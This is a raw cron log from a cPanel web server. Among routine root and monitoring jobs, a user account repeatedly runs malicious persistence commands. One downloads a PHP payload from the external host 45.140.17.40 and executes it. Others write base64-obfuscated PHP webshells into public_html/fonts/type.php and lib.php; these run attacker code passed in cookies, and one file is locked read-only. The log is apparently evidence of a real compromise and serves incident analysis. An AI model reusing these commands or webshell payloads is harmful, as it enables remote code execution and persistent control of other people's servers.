Sep  4 11:34:01 ip-184-168-122-23 CROND[15573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:35:01 ip-184-168-122-23 CROND[15736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:35:01 ip-184-168-122-23 CROND[15738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:35:01 ip-184-168-122-23 CROND[15739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:35:01 ip-184-168-122-23 CROND[15742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:35:01 ip-184-168-122-23 CROND[15741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:35:01 ip-184-168-122-23 CROND[15743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:35:01 ip-184-168-122-23 CROND[15740]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 11:35:01 ip-184-168-122-23 CROND[15737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:36:01 ip-184-168-122-23 CROND[15855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:36:01 ip-184-168-122-23 CROND[15858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:36:01 ip-184-168-122-23 CROND[15856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:36:01 ip-184-168-122-23 CROND[15857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:36:01 ip-184-168-122-23 CROND[15859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:37:01 ip-184-168-122-23 CROND[15963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:37:01 ip-184-168-122-23 CROND[15962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:37:01 ip-184-168-122-23 CROND[15965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:37:01 ip-184-168-122-23 CROND[15964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:38:01 ip-184-168-122-23 CROND[16063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:38:01 ip-184-168-122-23 CROND[16064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:38:01 ip-184-168-122-23 CROND[16065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:38:01 ip-184-168-122-23 CROND[16067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:38:01 ip-184-168-122-23 CROND[16066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:39:01 ip-184-168-122-23 CROND[16163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:39:01 ip-184-168-122-23 CROND[16165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:39:01 ip-184-168-122-23 CROND[16166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:39:01 ip-184-168-122-23 CROND[16167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:39:01 ip-184-168-122-23 CROND[16168]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 11:40:01 ip-184-168-122-23 CROND[16288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:40:01 ip-184-168-122-23 CROND[16289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:40:01 ip-184-168-122-23 CROND[16292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:40:01 ip-184-168-122-23 CROND[16293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:40:01 ip-184-168-122-23 CROND[16295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:40:01 ip-184-168-122-23 CROND[16299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:40:01 ip-184-168-122-23 CROND[16297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:40:01 ip-184-168-122-23 CROND[16298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:41:01 ip-184-168-122-23 CROND[16445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:41:01 ip-184-168-122-23 CROND[16446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:41:01 ip-184-168-122-23 CROND[16449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:41:01 ip-184-168-122-23 CROND[16447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:42:01 ip-184-168-122-23 CROND[16547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:42:01 ip-184-168-122-23 CROND[16549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:42:01 ip-184-168-122-23 CROND[16550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:42:01 ip-184-168-122-23 CROND[16552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:42:01 ip-184-168-122-23 CROND[16551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:43:01 ip-184-168-122-23 CROND[16742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:43:01 ip-184-168-122-23 CROND[16744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:43:01 ip-184-168-122-23 CROND[16743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:43:01 ip-184-168-122-23 CROND[16745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:44:01 ip-184-168-122-23 CROND[16845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:44:01 ip-184-168-122-23 CROND[16846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:44:01 ip-184-168-122-23 CROND[16848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:44:01 ip-184-168-122-23 CROND[16849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:44:01 ip-184-168-122-23 CROND[16847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:45:02 ip-184-168-122-23 CROND[16960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:45:02 ip-184-168-122-23 CROND[16962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:45:02 ip-184-168-122-23 CROND[16963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:45:02 ip-184-168-122-23 CROND[16965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:45:02 ip-184-168-122-23 CROND[16966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:45:02 ip-184-168-122-23 CROND[16967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:46:01 ip-184-168-122-23 CROND[17124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:46:01 ip-184-168-122-23 CROND[17125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:46:01 ip-184-168-122-23 CROND[17128]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 11:46:01 ip-184-168-122-23 CROND[17129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:46:01 ip-184-168-122-23 CROND[17130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:46:01 ip-184-168-122-23 CROND[17133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
